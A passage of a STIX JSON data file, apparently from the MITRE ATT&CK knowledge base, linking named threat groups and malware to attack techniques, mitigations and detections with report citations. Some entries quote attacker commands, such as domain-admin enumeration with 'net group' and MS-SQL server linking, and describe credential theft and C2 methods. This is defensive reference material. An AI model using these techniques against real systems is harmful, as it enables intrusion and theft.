"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c1b721af-9d2b-47a2-a712-3bff64628148", "type": "relationship", "created": "2020-03-16T15:33:06.384Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-26T20:58:34.773Z", "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.", "relationship_type": "mitigates", "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", "target_ref": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c1b912a1-ffb4-4b33-88ec-6a567a1fcfd4", "type": "relationship", "created": "2020-09-24T13:19:42.708Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Dukes October 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf", "description": "Faou, M., Tartare, M., Dupuy, T. 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Retrieved July 14, 2022.", "url": "https://www.sentinelone.com/labs/aoqin-dragon-newly-discovered-chinese-linked-apt-has-been-quietly-spying-on-organizations-for-10-years/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-11T16:30:07.250Z", "description": "[Mongall](https://attack.mitre.org/software/S1026) can upload files and information from a compromised host to its C2 server.(Citation: SentinelOne Aoqin Dragon June 2022)", "relationship_type": "uses", "source_ref": "malware--6fb36c6f-bb3d-4ed6-9471-cb9933e5c154", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c1c20b2c-0ae0-4ee4-863f-c82624fbcfe1", "type": "relationship", "created": "2021-03-30T17:20:05.938Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2021-03-30T17:20:05.938Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--b0c74ef9-c61e-4986-88cb-78da98a355ec", "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c1c2c530-a2d2-4c2f-bcff-ceda0277de59", "type": "relationship", "created": "2020-10-13T01:26:50.637Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf", "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.", "source_name": "Mandiant APT1"}], "modified": "2020-10-13T01:26:50.637Z", "description": "[APT1](https://attack.mitre.org/groups/G0006) hijacked FQDNs associated with legitimate websites hosted by hop points.(Citation: Mandiant APT1)", "relationship_type": "uses", "source_ref": "intrusion-set--6a2e693f-24e5-451a-9f88-b36a108e5662", "target_ref": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c1c32fe3-7aba-4d58-94df-89ce60a76810", "created": "2022-08-16T15:36:02.821Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "MalwareBytes SideCopy Dec 2021", "url": "https://www.malwarebytes.com/blog/news/2021/12/sidecopy-apt-connecting-lures-to-victims-payloads-to-infrastructure", "description": "Threat Intelligence Team. (2021, December 2). SideCopy APT: Connecting lures victims, payloads to infrastructure. Retrieved June 13, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[SideCopy](https://attack.mitre.org/groups/G1008) has identified the OS version of a compromised host.(Citation: MalwareBytes SideCopy Dec 2021)", "modified": "2022-08-24T15:34:57.129Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "intrusion-set--03be849d-b5a2-4766-9dda-48976bae5710", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c1cbaa0f-59d2-4b49-a91f-c21bff7ca009", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellMafia/PowerSploit", "description": "PowerShellMafia. (2012, May 26). PowerSploit - A PowerShell Post-Exploitation Framework. Retrieved February 6, 2018.", "source_name": "GitHub PowerSploit May 2012"}, {"url": "http://powersploit.readthedocs.io", "description": "PowerSploit. (n.d.). PowerSploit. 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(2019, August 12). Recent Cloud Atlas activity. Retrieved May 8, 2020."}], "modified": "2020-05-08T20:55:28.740Z", "description": "[VBShower](https://attack.mitre.org/software/S0442) has attempted to obtain a VBS script from command and control (C2) nodes over HTTP.(Citation: Kaspersky Cloud Atlas August 2019)", "relationship_type": "uses", "source_ref": "malware--8caa18af-4758-4fd3-9600-e8af579e89ed", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c1cf88bc-6229-4d62-86f5-36aa0e7bd21a", "type": "relationship", "created": "2020-03-17T00:03:45.005Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "PaloAlto DNS Requests May 2016", "url": "https://researchcenter.paloaltonetworks.com/2016/05/unit42-new-wekby-attacks-use-dns-requests-as-command-and-control-mechanism/", "description": "Grunzweig, J., et al. (2016, May 24). New Wekby Attacks Use DNS Requests As Command and Control Mechanism. Retrieved November 15, 2018."}], "modified": "2020-03-17T00:03:45.005Z", "description": "[APT18](https://attack.mitre.org/groups/G0026) uses DNS for C2 communications.(Citation: PaloAlto DNS Requests May 2016)", "relationship_type": "uses", "source_ref": "intrusion-set--38fd6a28-3353-4f2b-bb2b-459fecd5c648", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c1d36d2e-a8ab-4132-8690-e97628a07a0f", "type": "relationship", "created": "2020-07-27T20:02:43.027Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender StrongPity June 2020", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf", "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020."}], "modified": "2020-07-30T14:22:13.079Z", "description": "[StrongPity](https://attack.mitre.org/software/S0491) can use multiple layers of proxy servers to hide terminal nodes in its infrastructure.(Citation: Bitdefender StrongPity June 2020)", "relationship_type": "uses", "source_ref": "malware--20945359-3b39-4542-85ef-08ecb4e1c174", "target_ref": "attack-pattern--a782ebe2-daba-42c7-bc82-e8e9d923162d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c1d43be1-daea-4cdd-9632-e0a22f4d9073", "type": "relationship", "created": "2021-03-28T23:38:09.380Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NCC Group Team9 June 2020", "url": "https://research.nccgroup.com/2020/06/02/in-depth-analysis-of-the-new-team9-malware-family/", "description": "Pantazopoulos, N. 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Retrieved October 19, 2020."}], "x_mitre_deprecated": false, "revoked": false, "description": "Configure intrusion prevention devices to detect SNMP queries and commands from unauthorized sources.(Citation: US-CERT-TA18-106A)", "modified": "2022-04-19T21:34:37.231Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "mitigates", "source_ref": "course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c", "target_ref": "attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c223714e-1321-45e2-b5e2-2b54959d340a", "created": "2021-06-11T16:56:08.615Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Malwarebytes Kimsuky June 2021", "url": "https://blog.malwarebytes.com/threat-analysis/2021/06/kimsuky-apt-continues-to-target-south-korean-government-using-appleseed-backdoor/", "description": "Jazi, H. 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Retrieved August 9, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[Squirrelwaffle](https://attack.mitre.org/software/S1030) has been packed with a custom packer to hide payloads.(Citation: ZScaler Squirrelwaffle Sep 2021)(Citation: Netskope Squirrelwaffle Oct 2021)", "modified": "2022-08-09T16:47:56.863Z", "relationship_type": "uses", "source_ref": "malware--3c18ad16-9eaf-4649-984e-68551bff0d47", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c22f5416-2726-491e-ae10-35ec32ff9173", "type": "relationship", "created": "2021-02-10T19:41:52.677Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Lebanese Cedar Jan 2021", "url": "https://www.clearskysec.com/wp-content/uploads/2021/01/Lebanese-Cedar-APT.pdf", "description": "ClearSky Cyber Security. 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Retrieved February 10, 2021."}], "modified": "2021-02-10T19:41:52.677Z", "description": "[Caterpillar WebShell](https://attack.mitre.org/software/S0572) can obtain a list of user accounts from a victim's machine.(Citation: ClearSky Lebanese Cedar Jan 2021)", "relationship_type": "uses", "source_ref": "malware--751b77e6-af1f-483b-93fe-eddf17f92a64", "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c233f12f-cfa1-4f2a-ba56-ca1980806f4e", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/gold-dragon-widens-olympics-malware-attacks-gains-permanent-presence-on-victims-systems/", "description": "Sherstobitoff, R., Saavedra-Morales, J. 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Retrieved January 5, 2023.", "url": "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-01-10T20:55:51.209Z", "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has named a malicious script CacheTask.bat to mimic a legitimate task.(Citation: DFIR Phosphorus November 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c2379d5f-4d8d-4eaa-b966-bf31b227f5e3", "created": "2019-08-26T15:27:13.040Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "EST Kimsuky April 2019", "url": "https://blog.alyac.co.kr/2234", "description": "Alyac. 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(2018, October 12). Anatomy of an Attack: Detecting and Defeating CRASHOVERRIDE. Retrieved December 18, 2020.", "url": "https://www.dragos.com/wp-content/uploads/CRASHOVERRIDE2018.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-10T21:22:40.840Z", "description": "During the [2016 Ukraine Electric Power Attack](https://attack.mitre.org/campaigns/C0025), [Sandworm Team](https://attack.mitre.org/groups/G0034) used the `sp_addlinkedsrvlogin` command in MS-SQL to create a link between a created account and other servers in the network.(Citation: Dragos Crashoverride 2018)", "relationship_type": "uses", "source_ref": "campaign--aa73efef-1418-4dbe-b43c-87a498e97234", "target_ref": "attack-pattern--a10641f4-87b4-45a3-a906-92a149cb2c27", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c23fa4f7-84a0-424a-b8b1-b3024d01e749", "type": "relationship", "created": "2020-03-19T23:56:41.592Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf", "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", "source_name": "F-Secure The Dukes"}], "modified": "2020-03-19T23:56:41.592Z", "description": "[PinchDuke](https://attack.mitre.org/software/S0048) steals credentials from compromised hosts. [PinchDuke](https://attack.mitre.org/software/S0048)'s credential stealing functionality is believed to be based on the source code of the Pinch credential stealing malware (also known as LdPinch). Credentials targeted by [PinchDuke](https://attack.mitre.org/software/S0048) include ones associated with many sources such as The Bat!, Yahoo!, Mail.ru, Passport.Net, Google Talk, and Microsoft Outlook.(Citation: F-Secure The Dukes)", "relationship_type": "uses", "source_ref": "malware--ae9d818d-95d0-41da-b045-9cabea1ca164", "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c241606f-e0e2-4179-8e8d-444fb1406df4", "type": "relationship", "created": "2019-01-29T19:18:28.625Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Kujawa, A. (2018, March 27). You dirty RAT! Part 1: DarkComet. Retrieved November 6, 2018.", "url": "https://blog.malwarebytes.com/threat-analysis/2012/06/you-dirty-rat-part-1-darkcomet/", "source_name": "Malwarebytes DarkComet March 2018"}], "modified": "2019-06-04T19:40:43.718Z", "description": "[DarkComet](https://attack.mitre.org/software/S0334) has the option to compress its payload using UPX or MPRESS.(Citation: Malwarebytes DarkComet March 2018)", "relationship_type": "uses", "source_ref": "malware--53ab35c2-d00e-491a-8753-41d35ae7e547", "target_ref": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c2480447-a55d-446e-8d62-88c6a4f08afb", "type": "relationship", "created": "2020-03-28T00:26:28.307Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Tarakanov , D.. (2013, September 11). The \u201cKimsuky\u201d Operation: A North Korean APT?. Retrieved August 13, 2019.", "url": "https://securelist.com/the-kimsuky-operation-a-north-korean-apt/57915/", "source_name": "Securelist Kimsuky Sept 2013"}], "modified": "2020-03-28T00:26:28.307Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has been observed disabling the system firewall.(Citation: Securelist Kimsuky Sept 2013)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c2496cf4-b502-44cf-ae85-efb9b882a4b1", "created": "2020-06-29T03:27:51.063Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "CISA ComRAT Oct 2020", "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020.", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a"}, {"source_name": "ESET ComRAT May 2020", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020.", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T18:08:36.702Z", "description": "[ComRAT](https://attack.mitre.org/software/S0126) has modified Registry values to store encrypted orchestrator code and payloads.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020) ", "relationship_type": "uses", "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c253f0c5-1802-4853-b93f-c426d2a48fae", "type": "relationship", "created": "2021-06-21T18:07:57.500Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Cuba April 2021", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-cuba-ransomware.pdf", "description": "Roccio, T., et al. (2021, April). Technical Analysis of Cuba Ransomware. Retrieved June 18, 2021."}], "modified": "2021-08-31T21:30:39.509Z", "description": "[Cuba](https://attack.mitre.org/software/S0625) can enumerate processes running on a victim's machine.(Citation: McAfee Cuba April 2021)", "relationship_type": "uses", "source_ref": "malware--6cd07296-14aa-403d-9229-6343d03d4752", "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c2541365-58bd-474c-82ab-28c7b63e7fb8", "type": "relationship", "created": "2020-03-18T20:31:34.168Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://pan-unit42.github.io/playbook_viewer/", "description": "Unit 42. (2017, December 15). Unit 42 Playbook Viewer. Retrieved December 20, 2017.", "source_name": "Unit 42 Playbook Dec 2017"}], "modified": "2020-03-18T20:31:34.168Z", "description": "[Helminth](https://attack.mitre.org/software/S0170) has checked for the domain admin group and Exchange Trusted Subsystem groups using the commands <code>net group Exchange Trusted Subsystem /domain</code> and <code>net group domain admins /domain</code>.(Citation: Unit 42 Playbook Dec 2017)", "relationship_type": "uses", "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", "target_ref": "attack-pattern--2aed01ad-3df3-4410-a8cb-11ea4ded587c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c254bf89-3726-4c56-aae5-700c59427daf", "type": "relationship", "created": "2019-09-13T14:28:14.493Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET Machete July 2019", "url": "https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf", "description": "ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."}], "modified": "2020-03-30T02:29:55.864Z", "description": "[Machete](https://attack.mitre.org/software/S0409) stores zipped files with profile data from installed web browsers.(Citation: ESET Machete July 2019) ", "relationship_type": "uses", "source_ref": "malware--35cd1d01-1ede-44d2-b073-a264d727bc04", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c257d040-c058-42db-ad75-1abb7b06e616", "type": "relationship", "created": "2020-11-06T19:01:02.254Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cybereason Kimsuky November 2020", "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite", "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020."}], "modified": "2020-11-06T19:01:02.254Z", "description": "(Citation: Cybereason Kimsuky November 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "malware--8bdfe255-e658-4ddd-a11c-b854762e451d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--c25bdab1-7304-41f8-99f7-299c7f2fdcbd", "created": "2022-03-30T14:26:51.864Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "00sec Droppers", "url": "https://0x00sec.org/t/super-stealthy-droppers/3715", "description": "0x00pico. (2017, September 25). Super-Stealthy Droppers. Retrieved October 4, 2021."}, {"source_name": "S1 Old Rat New Tricks", "url": "https://www.sentinelone.com/blog/teaching-an-old-rat-new-tricks/", "description": "Landry, J. (2016, April 21). Teaching an old RAT new tricks. Retrieved October 4, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for code artifacts associated with reflectively loading code, such as the abuse of .NET functions such as <code>Assembly.Load()</code> and [Native API](https://attack.mitre.org/techniques/T1106) functions such as <code>CreateThread()</code>, <code>memfd_create()</code>, <code>execve()</code>, and/or <code>execveat()</code>.(Citation: 00sec Droppers)(Citation: S1 Old Rat New Tricks)", "modified": "2022-04-20T00:01:49.034Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--9bde2f9d-a695-4344-bfac-f2dce13d121e", "target_ref": "attack-pattern--4933e63b-9b77-476e-ab29-761bc5b7d15a", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c263ca38-f85d-42ab-b56d-8f6121c3aed6", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "DOJ GRU Indictment Jul 2018", "description": "Mueller, R. (2018, July 13). Indictment - United States of America vs. VIKTOR BORISOVICH NETYKSHO, et al. Retrieved September 13, 2018.", "url": "https://www.justice.gov/file/1080281/download"}, {"description": "ESET Research. (2019, May 22). A journey to Zebrocy land. Retrieved June 20, 2019.", "url": "https://www.welivesecurity.com/2019/05/22/journey-zebrocy-land/", "source_name": "ESET Zebrocy May 2019"}, {"source_name": "US District Court Indictment GRU Oct 2018", "url": "https://www.justice.gov/opa/page/file/1098481/download", "description": "Brady, S . (2018, October 3). Indictment - United States vs Aleksei Sergeyevich Morenets, et al.. Retrieved October 1, 2020."}, {"source_name": "Secureworks IRON TWILIGHT Active Measures March 2017", "url": "https://www.secureworks.com/research/iron-twilight-supports-active-measures", "description": "Secureworks CTU. (2017, March 30). IRON TWILIGHT Supports Active Measures. Retrieved February 28, 2022."}], "modified": "2022-02-28T16:07:43.181Z", "description": "[APT28](https://attack.mitre.org/groups/G0007) sent spearphishing emails which used a URL-shortener service to masquerade as a legitimate service and to redirect targets to credential harvesting sites.(Citation: DOJ GRU Indictment Jul 2018)(Citation: ESET Zebrocy May 2019)(Citation: US District Court Indictment GRU Oct 2018)(Citation: Secureworks IRON TWILIGHT Active Measures March 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c", "target_ref": "attack-pattern--2b742742-28c3-4e1b-bab7-8350d6300fa7", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--c26aa411-a68f-4093-b681-c899694cfa19", "type": "relationship", "created": "2022-03-15T19:56:31.054Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}], "modified": "2022-03-15T19:56:31.054Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has obtained exploit code for various CVEs.(Citation: KISA Operation Muzabi)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--f4b843c1-7e92-4701-8fed-ce82f8be2636", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c270ebd7-56e2-4ede-bd45-57da4a0065f2", "created": "2021-03-15T15:20:25.752Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Leonardo Turla Penquin May 2020", "description": "Leonardo. (2020, May 29). MALWARE TECHNICAL INSIGHT TURLA \u201cPenquin_x64\u201d. Retrieved March 11, 2021.", "url": "https://www.leonardo.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-09-28T21:27:07.143Z", "description": "[Penquin](https://attack.mitre.org/software/S0587) can add the executable flag to a downloaded file.(Citation: Leonardo Turla Penquin May 2020)", "relationship_type": "uses", "source_ref": "malware--d18cb958-f4ad-4fb3-bb4f-e8994d206550", "target_ref": "attack-pattern--09b130a2-a77e-4af0-a361-f46f9aad1345", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--c2745621-0b03-4b9d-b2f7-4e3b80487f87", "created": "2022-09-27T16:17:49.276Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. Retrieved October 8, 2020.", "url": "https://www.fox-it.com/media/kadlze5c/201912_report_operation_wocao.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": 